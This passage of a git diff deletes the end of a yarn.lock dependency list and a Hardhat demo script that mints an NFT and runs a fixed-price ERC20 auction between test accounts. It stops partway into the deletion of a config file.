-  resolved "https://registry.yarnpkg.com/when/-/when-3.7.8.tgz#c7130b6a7ea04693e842cdc9e7a1f2aa39a39f82"
-  integrity sha1-xxMLan6gRpPoQs3J56Hyqjmjn4I=
-
-which-boxed-primitive@^1.0.2:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/which-boxed-primitive/-/which-boxed-primitive-1.0.2.tgz#13757bc89b209b049fe5d86430e21cf40a89a8e6"
-  integrity sha512-bwZdv0AKLpplFY2KZRX6TvyuN7ojjr7lwkg6ml0roIy9YeuSr7JS372qlNW18UQYzgYK9ziGcerWqZOmEn9VNg==
-  dependencies:
-    is-bigint "^1.0.1"
-    is-boolean-object "^1.1.0"
-    is-number-object "^1.0.4"
-    is-string "^1.0.5"
-    is-symbol "^1.0.3"
-
-which-module@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/which-module/-/which-module-1.0.0.tgz#bba63ca861948994ff307736089e3b96026c2a4f"
-  integrity sha1-u6Y8qGGUiZT/MHc2CJ47lgJsKk8=
-
-which-module@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/which-module/-/which-module-2.0.0.tgz#d9ef07dce77b9902b8a3a8fa4b31c3e3f7e6e87a"
-  integrity sha1-2e8H3Od7mQK4o6j6SzHD4/fm6Ho=
-
-which@^1.2.14, which@^1.2.9, which@^1.3.0, which@^1.3.1:
-  version "1.3.1"
-  resolved "https://registry.yarnpkg.com/which/-/which-1.3.1.tgz#a45043d54f5805316da8d62f9f50918d3da70b0a"
-  integrity sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==
-  dependencies:
-    isexe "^2.0.0"
-
-which@^2.0.1:
-  version "2.0.2"
-  resolved "https://registry.yarnpkg.com/which/-/which-2.0.2.tgz#7c6a8dd0a636a0327e10b59c9286eee93f3f51b1"
-  integrity sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==
-  dependencies:
-    isexe "^2.0.0"
-
-window-getters@1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/window-getters/-/window-getters-1.0.0.tgz#b5b264538c4c79cead027f9997850222bf6d0852"
-  integrity sha512-xyvEFq3x+7dCA7NFhqOmTMk0fPmmAzCUYL2svkw2LGBaXXQLRP0lFnfXHzysri9WZNMkzp/FD1u0w2Qc7Co+JA==
-
-window-getters@^1.0.0:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/window-getters/-/window-getters-1.0.1.tgz#a564c258413b4808789633d8bfb7ed741d798aa0"
-  integrity sha512-cojBfDeV58XEurDgj+rre15c7dvu27bWCPlOIpwQgreOsw6qQk0UGDR1hi7ZHKw5+L0AENUNNWGG2h4yr2Y3hQ==
-
-window-metadata@1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/window-metadata/-/window-metadata-1.0.0.tgz#fece0446db2f50be0612a211f25fc693917e823b"
-  integrity sha512-eYoXsZ9X4J+6xZgbHhNAatSR5bCtT409q8B+2Ol9ySx7qsdtgVZcNfox4qszFmKlGsFtT2b1Tcmcy69bRMObcg==
-  dependencies:
-    window-getters "^1.0.0"
-
-window-size@0.1.0:
-  version "0.1.0"
-  resolved "https://registry.yarnpkg.com/window-size/-/window-size-0.1.0.tgz#5438cd2ea93b202efa3a19fe8887aee7c94f9c9d"
-  integrity sha1-VDjNLqk7IC76Ohn+iIeu58lPnJ0=
-
-word-wrap@~1.2.3:
-  version "1.2.3"
-  resolved "https://registry.yarnpkg.com/word-wrap/-/word-wrap-1.2.3.tgz#610636f6b1f703891bd34771ccb17fb93b47079c"
-  integrity sha512-Hz/mrNwitNRh/HUAtM/VT/5VH+ygD6DV7mYKZAtHOrbs8U7lvPS6xf7EJKMF0uW1KJCl0H701g3ZGus+muE5vQ==
-
-wordwrap@0.0.2:
-  version "0.0.2"
-  resolved "https://registry.yarnpkg.com/wordwrap/-/wordwrap-0.0.2.tgz#b79669bb42ecb409f83d583cad52ca17eaa1643f"
-  integrity sha1-t5Zpu0LstAn4PVg8rVLKF+qhZD8=
-
-workbox-background-sync@^4.3.1:
-  version "4.3.1"
-  resolved "https://registry.yarnpkg.com/workbox-background-sync/-/workbox-background-sync-4.3.1.tgz#26821b9bf16e9e37fd1d640289edddc08afd1950"
-  integrity sha512-1uFkvU8JXi7L7fCHVBEEnc3asPpiAL33kO495UMcD5+arew9IbKW2rV5lpzhoWcm/qhGB89YfO4PmB/0hQwPRg==
-  dependencies:
-    workbox-core "^4.3.1"
-
-workbox-broadcast-update@^4.3.1:
-  version "4.3.1"
-  resolved "https://registry.yarnpkg.com/workbox-broadcast-update/-/workbox-broadcast-update-4.3.1.tgz#e2c0280b149e3a504983b757606ad041f332c35b"
-  integrity sha512-MTSfgzIljpKLTBPROo4IpKjESD86pPFlZwlvVG32Kb70hW+aob4Jxpblud8EhNb1/L5m43DUM4q7C+W6eQMMbA==
-  dependencies:
-    workbox-core "^4.3.1"
-
-workbox-build@^4.3.1:
-  version "4.3.1"
-  resolved "https://registry.yarnpkg.com/workbox-build/-/workbox-build-4.3.1.tgz#414f70fb4d6de47f6538608b80ec52412d233e64"
-  integrity sha512-UHdwrN3FrDvicM3AqJS/J07X0KXj67R8Cg0waq1MKEOqzo89ap6zh6LmaLnRAjpB+bDIz+7OlPye9iii9KBnxw==
-  dependencies:
-    "@babel/runtime" "^7.3.4"
-    "@hapi/joi" "^15.0.0"
-    common-tags "^1.8.0"
-    fs-extra "^4.0.2"
-    glob "^7.1.3"
-    lodash.template "^4.4.0"
-    pretty-bytes "^5.1.0"
-    stringify-object "^3.3.0"
-    strip-comments "^1.0.2"
-    workbox-background-sync "^4.3.1"
-    workbox-broadcast-update "^4.3.1"
-    workbox-cacheable-response "^4.3.1"
-    workbox-core "^4.3.1"
-    workbox-expiration "^4.3.1"
-    workbox-google-analytics "^4.3.1"
-    workbox-navigation-preload "^4.3.1"
-    workbox-precaching "^4.3.1"
-    workbox-range-requests "^4.3.1"
-    workbox-routing "^4.3.1"
-    workbox-strategies "^4.3.1"
-    workbox-streams "^4.3.1"
-    workbox-sw "^4.3.1"
-    workbox-window "^4.3.1"
-
-workbox-cacheable-response@^4.3.1:
-  version "4.3.1"
-  resolved "https://registry.yarnpkg.com/workbox-cacheable-response/-/workbox-cacheable-response-4.3.1.tgz#f53e079179c095a3f19e5313b284975c91428c91"
-  integrity sha512-Rp5qlzm6z8IOvnQNkCdO9qrDgDpoPNguovs0H8C+wswLuPgSzSp9p2afb5maUt9R1uTIwOXrVQMmPfPypv+npw==
-  dependencies:
-    workbox-core "^4.3.1"
-
-workbox-core@^4.3.1:
-  version "4.3.1"
-  resolved "https://registry.yarnpkg.com/workbox-core/-/workbox-core-4.3.1.tgz#005d2c6a06a171437afd6ca2904a5727ecd73be6"
-  integrity sha512-I3C9jlLmMKPxAC1t0ExCq+QoAMd0vAAHULEgRZ7kieCdUd919n53WC0AfvokHNwqRhGn+tIIj7vcb5duCjs2Kg==
-
-workbox-expiration@^4.3.1:
-  version "4.3.1"
-  resolved "https://registry.yarnpkg.com/workbox-expiration/-/workbox-expiration-4.3.1.tgz#d790433562029e56837f341d7f553c4a78ebe921"
-  integrity sha512-vsJLhgQsQouv9m0rpbXubT5jw0jMQdjpkum0uT+d9tTwhXcEZks7qLfQ9dGSaufTD2eimxbUOJfWLbNQpIDMPw==
-  dependencies:
-    workbox-core "^4.3.1"
-
-workbox-google-analytics@^4.3.1:
-  version "4.3.1"
-  resolved "https://registry.yarnpkg.com/workbox-google-analytics/-/workbox-google-analytics-4.3.1.tgz#9eda0183b103890b5c256e6f4ea15a1f1548519a"
-  integrity sha512-xzCjAoKuOb55CBSwQrbyWBKqp35yg1vw9ohIlU2wTy06ZrYfJ8rKochb1MSGlnoBfXGWss3UPzxR5QL5guIFdg==
-  dependencies:
-    workbox-background-sync "^4.3.1"
-    workbox-core "^4.3.1"
-    workbox-routing "^4.3.1"
-    workbox-strategies "^4.3.1"
-
-workbox-navigation-preload@^4.3.1:
-  version "4.3.1"
-  resolved "https://registry.yarnpkg.com/workbox-navigation-preload/-/workbox-navigation-preload-4.3.1.tgz#29c8e4db5843803b34cd96dc155f9ebd9afa453d"
-  integrity sha512-K076n3oFHYp16/C+F8CwrRqD25GitA6Rkd6+qAmLmMv1QHPI2jfDwYqrytOfKfYq42bYtW8Pr21ejZX7GvALOw==
-  dependencies:
-    workbox-core "^4.3.1"
-
-workbox-precaching@^4.3.1:
-  version "4.3.1"
-  resolved "https://registry.yarnpkg.com/workbox-precaching/-/workbox-precaching-4.3.1.tgz#9fc45ed122d94bbe1f0ea9584ff5940960771cba"
-  integrity sha512-piSg/2csPoIi/vPpp48t1q5JLYjMkmg5gsXBQkh/QYapCdVwwmKlU9mHdmy52KsDGIjVaqEUMFvEzn2LRaigqQ==
-  dependencies:
-    workbox-core "^4.3.1"
-
-workbox-range-requests@^4.3.1:
-  version "4.3.1"
-  resolved "https://registry.yarnpkg.com/workbox-range-requests/-/workbox-range-requests-4.3.1.tgz#f8a470188922145cbf0c09a9a2d5e35645244e74"
-  integrity sha512-S+HhL9+iTFypJZ/yQSl/x2Bf5pWnbXdd3j57xnb0V60FW1LVn9LRZkPtneODklzYuFZv7qK6riZ5BNyc0R0jZA==
-  dependencies:
-    workbox-core "^4.3.1"
-
-workbox-routing@^4.3.1:
-  version "4.3.1"
-  resolved "https://registry.yarnpkg.com/workbox-routing/-/workbox-routing-4.3.1.tgz#a675841af623e0bb0c67ce4ed8e724ac0bed0cda"
-  integrity sha512-FkbtrODA4Imsi0p7TW9u9MXuQ5P4pVs1sWHK4dJMMChVROsbEltuE79fBoIk/BCztvOJ7yUpErMKa4z3uQLX+g==
-  dependencies:
-    workbox-core "^4.3.1"
-
-workbox-strategies@^4.3.1:
-  version "4.3.1"
-  resolved "https://registry.yarnpkg.com/workbox-strategies/-/workbox-strategies-4.3.1.tgz#d2be03c4ef214c115e1ab29c9c759c9fe3e9e646"
-  integrity sha512-F/+E57BmVG8dX6dCCopBlkDvvhg/zj6VDs0PigYwSN23L8hseSRwljrceU2WzTvk/+BSYICsWmRq5qHS2UYzhw==
-  dependencies:
-    workbox-core "^4.3.1"
-
-workbox-streams@^4.3.1:
-  version "4.3.1"
-  resolved "https://registry.yarnpkg.com/workbox-streams/-/workbox-streams-4.3.1.tgz#0b57da70e982572de09c8742dd0cb40a6b7c2cc3"
-  integrity sha512-4Kisis1f/y0ihf4l3u/+ndMkJkIT4/6UOacU3A4BwZSAC9pQ9vSvJpIi/WFGQRH/uPXvuVjF5c2RfIPQFSS2uA==
-  dependencies:
-    workbox-core "^4.3.1"
-
-workbox-sw@^4.3.1:
-  version "4.3.1"
-  resolved "https://registry.yarnpkg.com/workbox-sw/-/workbox-sw-4.3.1.tgz#df69e395c479ef4d14499372bcd84c0f5e246164"
-  integrity sha512-0jXdusCL2uC5gM3yYFT6QMBzKfBr2XTk0g5TPAV4y8IZDyVNDyj1a8uSXy3/XrvkVTmQvLN4O5k3JawGReXr9w==
-
-workbox-webpack-plugin@4.3.1:
-  version "4.3.1"
-  resolved "https://registry.yarnpkg.com/workbox-webpack-plugin/-/workbox-webpack-plugin-4.3.1.tgz#47ff5ea1cc074b6c40fb5a86108863a24120d4bd"
-  integrity sha512-gJ9jd8Mb8wHLbRz9ZvGN57IAmknOipD3W4XNE/Lk/4lqs5Htw4WOQgakQy/o/4CoXQlMCYldaqUg+EJ35l9MEQ==
-  dependencies:
-    "@babel/runtime" "^7.0.0"
-    json-stable-stringify "^1.0.1"
-    workbox-build "^4.3.1"
-
-workbox-window@^4.3.1:
-  version "4.3.1"
-  resolved "https://registry.yarnpkg.com/workbox-window/-/workbox-window-4.3.1.tgz#ee6051bf10f06afa5483c9b8dfa0531994ede0f3"
-  integrity sha512-C5gWKh6I58w3GeSc0wp2Ne+rqVw8qwcmZnQGpjiek8A2wpbxSJb1FdCoQVO+jDJs35bFgo/WETgl1fqgsxN0Hg==
-  dependencies:
-    workbox-core "^4.3.1"
-
-worker-farm@^1.7.0:
-  version "1.7.0"
-  resolved "https://registry.yarnpkg.com/worker-farm/-/worker-farm-1.7.0.tgz#26a94c5391bbca926152002f69b84a4bf772e5a8"
-  integrity sha512-rvw3QTZc8lAxyVrqcSGVm5yP/IJ2UcB3U0graE3LCFoZ0Yn2x4EoVSqJKdB/T5M+FLcRPjz4TDacRf3OCfNUzw==
-  dependencies:
-    errno "~0.1.7"
-
-worker-rpc@^0.1.0:
-  version "0.1.1"
-  resolved "https://registry.yarnpkg.com/worker-rpc/-/worker-rpc-0.1.1.tgz#cb565bd6d7071a8f16660686051e969ad32f54d5"
-  integrity sha512-P1WjMrUB3qgJNI9jfmpZ/htmBEjFh//6l/5y8SD9hg1Ef5zTTVVoRjTrTEzPrNBQvmhMxkoTsjOXN10GWU7aCg==
-  dependencies:
-    microevent.ts "~0.1.1"
-
-wrap-ansi@^2.0.0:
-  version "2.1.0"
-  resolved "https://registry.yarnpkg.com/wrap-ansi/-/wrap-ansi-2.1.0.tgz#d8fc3d284dd05794fe84973caecdd1cf824fdd85"
-  integrity sha1-2Pw9KE3QV5T+hJc8rs3Rz4JP3YU=
-  dependencies:
-    string-width "^1.0.1"
-    strip-ansi "^3.0.1"
-
-wrap-ansi@^5.0.0, wrap-ansi@^5.1.0:
-  version "5.1.0"
-  resolved "https://registry.yarnpkg.com/wrap-ansi/-/wrap-ansi-5.1.0.tgz#1fd1f67235d5b6d0fee781056001bfb694c03b09"
-  integrity sha512-QC1/iN/2/RPVJ5jYK8BGttj5z83LmSKmvbvrXPNCLZSEb32KKVDJDl/MOt2N01qU2H/FkzEa9PKto1BqDjtd7Q==
-  dependencies:
-    ansi-styles "^3.2.0"
-    string-width "^3.0.0"
-    strip-ansi "^5.0.0"
-
-wrappy@1:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/wrappy/-/wrappy-1.0.2.tgz#b5243d8f3ec1aa35f1364605bc0d1036e30ab69f"
-  integrity sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=
-
-write-file-atomic@2.4.1:
-  version "2.4.1"
-  resolved "https://registry.yarnpkg.com/write-file-atomic/-/write-file-atomic-2.4.1.tgz#d0b05463c188ae804396fd5ab2a370062af87529"
-  integrity sha512-TGHFeZEZMnv+gBFRfjAcxL5bPHrsGKtnb4qsFAws7/vlh+QfwAaySIw4AXP9ZskTTh5GWu3FLuJhsWVdiJPGvg==
-  dependencies:
-    graceful-fs "^4.1.11"
-    imurmurhash "^0.1.4"
-    signal-exit "^3.0.2"
-
-write@1.0.3:
-  version "1.0.3"
-  resolved "https://registry.yarnpkg.com/write/-/write-1.0.3.tgz#0800e14523b923a387e415123c865616aae0f5c3"
-  integrity sha512-/lg70HAjtkUgWPVZhZcm+T4hkL8Zbtp1nFNOn3lRrxnlv50SRBv7cR7RqR+GMsd3hUXy9hWBo4CHTbFTcOYwig==
-  dependencies:
-    mkdirp "^0.5.1"
-
-ws@7.3.0:
-  version "7.3.0"
-  resolved "https://registry.yarnpkg.com/ws/-/ws-7.3.0.tgz#4b2f7f219b3d3737bc1a2fbf145d825b94d38ffd"
-  integrity sha512-iFtXzngZVXPGgpTlP1rBqsUK82p9tKqsWRPg5L56egiljujJT3vGAYnHANvFxBieXrTFavhzhxW52jnaWV+w2w==
-
-ws@7.4.6, "ws@^5.2.0 || ^6.0.0 || ^7.0.0":
-  version "7.4.6"
-  resolved "https://registry.yarnpkg.com/ws/-/ws-7.4.6.tgz#5654ca8ecdeee47c33a9a4bf6d28e2be2980377c"
-  integrity sha512-YmhHDO4MzaDLB+M9ym/mDA5z0naX8j7SIlT8f8z+I0VtzsRbekxEutHSme7NPS2qE8StCYQNUnfWdXta/Yu85A==
-
-ws@^5.1.1, ws@^5.2.0:
-  version "5.2.3"
-  resolved "https://registry.yarnpkg.com/ws/-/ws-5.2.3.tgz#05541053414921bc29c63bee14b8b0dd50b07b3d"
-  integrity sha512-jZArVERrMsKUatIdnLzqvcfydI85dvd/Fp1u/VOpfdDWQ4c9qWXe+VIeAbQ5FrDwciAkr+lzofXLz3Kuf26AOA==
-  dependencies:
-    async-limiter "~1.0.0"
-
-ws@^6.1.2, ws@^6.2.1:
-  version "6.2.2"
-  resolved "https://registry.yarnpkg.com/ws/-/ws-6.2.2.tgz#dd5cdbd57a9979916097652d78f1cc5faea0c32e"
-  integrity sha512-zmhltoSR8u1cnDsD43TX59mzoMZsLKqUweyYBAIvTngR3shc0W6aOZylZmq/7hqyVxPdi+5Ud2QInblgyE72fw==
-  dependencies:
-    async-limiter "~1.0.0"
-
-xhr2-cookies@1.1.0:
-  version "1.1.0"
-  resolved "https://registry.yarnpkg.com/xhr2-cookies/-/xhr2-cookies-1.1.0.tgz#7d77449d0999197f155cb73b23df72505ed89d48"
-  integrity sha1-fXdEnQmZGX8VXLc7I99yUF7YnUg=
-  dependencies:
-    cookiejar "^2.1.1"
-
-xhr@^2.2.0:
-  version "2.6.0"
-  resolved "https://registry.yarnpkg.com/xhr/-/xhr-2.6.0.tgz#b69d4395e792b4173d6b7df077f0fc5e4e2b249d"
-  integrity sha512-/eCGLb5rxjx5e3mF1A7s+pLlR6CGyqWN91fv1JgER5mVWg1MZmlhBvy9kjcsOdRk8RrIujotWyJamfyrp+WIcA==
-  dependencies:
-    global "~4.4.0"
-    is-function "^1.0.1"
-    parse-headers "^2.0.0"
-    xtend "^4.0.0"
-
-xml-name-validator@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/xml-name-validator/-/xml-name-validator-3.0.0.tgz#6ae73e06de4d8c6e47f9fb181f78d648ad457c6a"
-  integrity sha512-A5CUptxDsvxKJEU3yO6DuWBSJz/qizqzJKOMIfUJHETbBw/sFaDxgd6fxm1ewUaM0jZ444Fc5vC5ROYurg/4Pw==
-
-xml2js@0.4.19:
-  version "0.4.19"
-  resolved "https://registry.yarnpkg.com/xml2js/-/xml2js-0.4.19.tgz#686c20f213209e94abf0d1bcf1efaa291c7827a7"
-  integrity sha512-esZnJZJOiJR9wWKMyuvSE1y6Dq5LCuJanqhxslH2bxM6duahNZ+HMpCLhBQGZkbX6xRf8x1Y2eJlgt2q3qo49Q==
-  dependencies:
-    sax ">=0.6.0"
-    xmlbuilder "~9.0.1"
-
-xmlbuilder@~9.0.1:
-  version "9.0.7"
-  resolved "https://registry.yarnpkg.com/xmlbuilder/-/xmlbuilder-9.0.7.tgz#132ee63d2ec5565c557e20f4c22df9aca686b10d"
-  integrity sha1-Ey7mPS7FVlxVfiD0wi35rKaGsQ0=
-
-xmlchars@^2.1.1:
-  version "2.2.0"
-  resolved "https://registry.yarnpkg.com/xmlchars/-/xmlchars-2.2.0.tgz#060fe1bcb7f9c76fe2a17db86a9bc3ab894210cb"
-  integrity sha512-JZnDKK8B0RCDw84FNdDAIpZK+JuJw+s7Lz8nksI7SIuU3UXJJslUthsi+uWBUYOwPFwW7W7PRLRfUKpxjtjFCw==
-
-xmlhttprequest@1.8.0:
-  version "1.8.0"
-  resolved "https://registry.yarnpkg.com/xmlhttprequest/-/xmlhttprequest-1.8.0.tgz#67fe075c5c24fef39f9d65f5f7b7fe75171968fc"
-  integrity sha1-Z/4HXFwk/vOfnWX197f+dRcZaPw=
-
-xregexp@^4.3.0:
-  version "4.4.1"
-  resolved "https://registry.yarnpkg.com/xregexp/-/xregexp-4.4.1.tgz#c84a88fa79e9ab18ca543959712094492185fe65"
-  integrity sha512-2u9HwfadaJaY9zHtRRnH6BY6CQVNQKkYm3oLtC9gJXXzfsbACg5X5e4EZZGVAH+YIfa+QA9lsFQTTe3HURF3ag==
-  dependencies:
-    "@babel/runtime-corejs3" "^7.12.1"
-
-xtend@^4.0.0, xtend@^4.0.1, xtend@~4.0.0, xtend@~4.0.1:
-  version "4.0.2"
-  resolved "https://registry.yarnpkg.com/xtend/-/xtend-4.0.2.tgz#bb72779f5fa465186b1f438f674fa347fdb5db54"
-  integrity sha512-LKYU1iAXJXUgAXn9URjiu+MWhyUXHsvfp7mcuYm9dSUKK0/CjtrUwFAxD82/mCWbtLsGjFIad0wIsod4zrTAEQ==
-
-xtend@~2.1.1:
-  version "2.1.2"
-  resolved "https://registry.yarnpkg.com/xtend/-/xtend-2.1.2.tgz#6efecc2a4dad8e6962c4901b337ce7ba87b5d28b"
-  integrity sha1-bv7MKk2tjmlixJAbM3znuoe10os=
-  dependencies:
-    object-keys "~0.4.0"
-
-y18n@^3.2.1:
-  version "3.2.2"
-  resolved "https://registry.yarnpkg.com/y18n/-/y18n-3.2.2.tgz#85c901bd6470ce71fc4bb723ad209b70f7f28696"
-  integrity sha512-uGZHXkHnhF0XeeAPgnKfPv1bgKAYyVvmNL1xlKsPYZPaIHxGti2hHqvOCQv71XMsLxu1QjergkqogUnms5D3YQ==
-
-y18n@^4.0.0:
-  version "4.0.3"
-  resolved "https://registry.yarnpkg.com/y18n/-/y18n-4.0.3.tgz#b5f259c82cd6e336921efd7bfd8bf560de9eeedf"
-  integrity sha512-JKhqTOwSrqNA1NY5lSztJ1GrBiUodLMmIZuLiDaMRJ+itFd+ABVE8XBjOvIWL+rSqNDC74LCSFmlb/U4UZ4hJQ==
-
-yallist@^3.0.2:
-  version "3.1.1"
-  resolved "https://registry.yarnpkg.com/yallist/-/yallist-3.1.1.tgz#dbb7daf9bfd8bac9ab45ebf602b8cbad0d5d08fd"
-  integrity sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==
-
-yallist@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.yarnpkg.com/yallist/-/yallist-4.0.0.tgz#9bb92790d9c0effec63be73519e11a35019a3a72"
-  integrity sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==
-
-yaml@^1.7.2:
-  version "1.10.2"
-  resolved "https://registry.yarnpkg.com/yaml/-/yaml-1.10.2.tgz#2301c5ffbf12b467de8da2333a459e29e7920e4b"
-  integrity sha512-r3vXyErRCYJ7wg28yvBY5VSoAF8ZvlcW9/BwUzEtUsjvX/DKs24dIkuwjtuprwJJHsbyUbLApepYTR1BN4uHrg==
-
-yargs-parser@^13.1.2:
-  version "13.1.2"
-  resolved "https://registry.yarnpkg.com/yargs-parser/-/yargs-parser-13.1.2.tgz#130f09702ebaeef2650d54ce6e3e5706f7a4fb38"
-  integrity sha512-3lbsNRf/j+A4QuSZfDRA7HRSfWrzO0YjqTJd5kjAq37Zep1CEgaYmrH9Q3GwPiB9cHyd1Y1UwggGhJGoxipbzg==
-  dependencies:
-    camelcase "^5.0.0"
-    decamelize "^1.2.0"
-
-yargs-parser@^5.0.1:
-  version "5.0.1"
-  resolved "https://registry.yarnpkg.com/yargs-parser/-/yargs-parser-5.0.1.tgz#7ede329c1d8cdbbe209bd25cdb990e9b1ebbb394"
-  integrity sha512-wpav5XYiddjXxirPoCTUPbqM0PXvJ9hiBMvuJgInvo4/lAOTZzUprArw17q2O1P2+GHhbBr18/iQwjL5Z9BqfA==
-  dependencies:
-    camelcase "^3.0.0"
-    object.assign "^4.1.0"
-
-yargs@^13.2.4, yargs@^13.3.0, yargs@^13.3.2:
-  version "13.3.2"
-  resolved "https://registry.yarnpkg.com/yargs/-/yargs-13.3.2.tgz#ad7ffefec1aa59565ac915f82dccb38a9c31a2dd"
-  integrity sha512-AX3Zw5iPruN5ie6xGRIDgqkT+ZhnRlZMLMHAs8tg7nRruy2Nb+i5o9bwghAogtM08q1dpr2LVoS8KSTMYpWXUw==
-  dependencies:
-    cliui "^5.0.0"
-    find-up "^3.0.0"
-    get-caller-file "^2.0.1"
-    require-directory "^2.1.1"
-    require-main-filename "^2.0.0"
-    set-blocking "^2.0.0"
-    string-width "^3.0.0"
-    which-module "^2.0.0"
-    y18n "^4.0.0"
-    yargs-parser "^13.1.2"
-
-yargs@^7.1.0:
-  version "7.1.2"
-  resolved "https://registry.yarnpkg.com/yargs/-/yargs-7.1.2.tgz#63a0a5d42143879fdbb30370741374e0641d55db"
-  integrity sha512-ZEjj/dQYQy0Zx0lgLMLR8QuaqTihnxirir7EwUHp1Axq4e3+k8jXU5K0VLbNvedv1f4EWtBonDIZm0NUr+jCcA==
-  dependencies:
-    camelcase "^3.0.0"
-    cliui "^3.2.0"
-    decamelize "^1.1.1"
-    get-caller-file "^1.0.1"
-    os-locale "^1.4.0"
-    read-pkg-up "^1.0.1"
-    require-directory "^2.1.1"
-    require-main-filename "^1.0.1"
-    set-blocking "^2.0.0"
-    string-width "^1.0.2"
-    which-module "^1.0.0"
-    y18n "^3.2.1"
-    yargs-parser "^5.0.1"
-
-yargs@~3.10.0:
-  version "3.10.0"
-  resolved "https://registry.yarnpkg.com/yargs/-/yargs-3.10.0.tgz#f7ee7bd857dd7c1d2d38c0e74efbd681d1431fd1"
-  integrity sha1-9+572FfdfB0tOMDnTvvWgdFDH9E=
-  dependencies:
-    camelcase "^1.0.2"
-    cliui "^2.1.0"
-    decamelize "^1.0.0"
-    window-size "0.1.0"
-
-zen-observable-ts@^0.8.21:
-  version "0.8.21"
-  resolved "https://registry.yarnpkg.com/zen-observable-ts/-/zen-observable-ts-0.8.21.tgz#85d0031fbbde1eba3cd07d3ba90da241215f421d"
-  integrity sha512-Yj3yXweRc8LdRMrCC8nIc4kkjWecPAUVh0TI0OUrWXx6aX790vLcDlWca6I4vsyCGH3LpWxq0dJRcMOFoVqmeg==
-  dependencies:
-    tslib "^1.9.3"
-    zen-observable "^0.8.0"
-
-zen-observable@^0.8.0, zen-observable@^0.8.14:
-  version "0.8.15"
-  resolved "https://registry.yarnpkg.com/zen-observable/-/zen-observable-0.8.15.tgz#96415c512d8e3ffd920afd3889604e30b9eaac15"
-  integrity sha512-PQ2PC7R9rslx84ndNBZB/Dkv8V8fZEpk83RLgXtYd0fwUgEjseMn1Dgajh2x6S8QbZAFa9p2qVCEuYZNgve0dQ==
diff --git a/Example16-hardhat-auction-exchange/scripts/auction-fix-price-script.js b/Example16-hardhat-auction-exchange/scripts/auction-fix-price-script.js
deleted file mode 100644
index a2939dea7..000000000
--- a/Example16-hardhat-auction-exchange/scripts/auction-fix-price-script.js
+++ /dev/null
@@ -1,82 +0,0 @@
-// We require the Hardhat Runtime Environment explicitly here. This is optional 
-// but useful for running the script in a standalone fashion through `node <script>`.
-//
-// When running the script with `hardhat run <script>` you'll find the Hardhat
-// Runtime Environment's members available in the global scope.
-const hre = require("hardhat");
-
-async function main() {
-    // await hre.run('compile');
-    const [owner,Alice,Bob] = await hre.ethers.getSigners();
-
-
-  console.log("owner:" , owner.address);
-  console.log("Alice:" , Alice.address);
-  console.log("Bob:" , Bob.address);
-
-  //todo deploy erc721 & erc20
-   const erc20 = "0x7B698903d4A52f0A00a4288C0f1b9bC07B161748";
-   const erc721 = "0xBf2efA0AdB1DaFBF051B302F881bAC56c2a35db7";
-   const auction = "0x09d09A4E7b8eE3c21aB91b2404a5c7Cfec4cf90e";
-
-    const token = await hre.ethers.getContractAt("contracts/IERC20.sol:IERC20",erc20);
-
-    await token.transfer(Alice.address,1000);
-
-    const bal =  await token.balanceOf(Alice.address);
-    console.log("alice erc20 balance after: ", bal.toNumber())
-
-    const nfttoken = await hre.ethers.getContractAt("contracts/IMyERC721.sol:IMyERC721",erc721);
-
-    await nfttoken.mintWithTokenURI(owner.address, "www.baidu.com");
-
-    let nftbalBigNumber  =   await nfttoken.balanceOf(owner.address) ;
-    let erc721Id =  nftbalBigNumber.toNumber() -1 ;
-    console.log("owner nft balance", nftbalBigNumber.toNumber());
-
-    const auctionFixedPrice = await hre.ethers.getContractAt("contracts/AuctionFixedPrice.sol:AuctionFixedPrice", auction);
-    let auctionFixedPriceAlice = auctionFixedPrice.connect(Alice);
-    console.log("auctionFixedPrice deployed to:", auctionFixedPrice.address);
-     await nfttoken.approve(auction, erc721Id);
-
- //   console.log("approveTx: ", approveTx)
-    console.log(erc721Id, "owner approve auction erc721 transfer successfully");
-
-    var timestamp=new Date().getTime();
-    const endTime = timestamp + 3600*1000;
-    console.log("endtime: ", endTime);
-
-    await auctionFixedPrice.createTokenAuction(erc721, erc721Id,erc20,100,endTime);
-    console.log("owner create token  {} auction successfully:  ", erc721Id);
-    const auctionDetail =  await  auctionFixedPrice.getTokenAuctionDetails(erc721,erc721Id);
-
-    let tokenAlice = token.connect(Alice);
-
-    await tokenAlice.approve(auction, 1000);
-
-    let allow = await  token.allowance(Alice.address,auction);
-    console.log("alice allowans ", allow.toNumber());
-
-    await auctionFixedPriceAlice.purchaseNFTToken(erc721,erc721Id);
-
-    console.log("alice purchase successfully: ");
-
-    const auctionDetail1 =  await  auctionFixedPrice.getTokenAuctionDetails(erc721,erc721Id);
-
-    let erc721IdOwner = await  nfttoken.ownerOf(erc721Id);
-
-    console.log(auctionDetail1);
-    console.log(erc721Id, "nft owner: ", erc721IdOwner);
-
-
-
-}
-
-// We recommend this pattern to be able to use async/await everywhere
-// and properly handle errors.
-main()
-  .then(() => process.exit(0))
-  .catch(error => {
-    console.error(error);
-    process.exit(1);
-  });
diff --git a/Example17-etherjs-wallet-develop/hardhat.config.js b/Example17-etherjs-wallet-develop/hardhat.config.js
deleted file mode 100644
index fa4aaafd9..000000000
--- a/Example17-etherjs-wallet-develop/hardhat.config.js
+++ /dev/null
@@ -1,7 +0,0 @@
-require("@nomiclabs/hardhat-waffle");
-/**
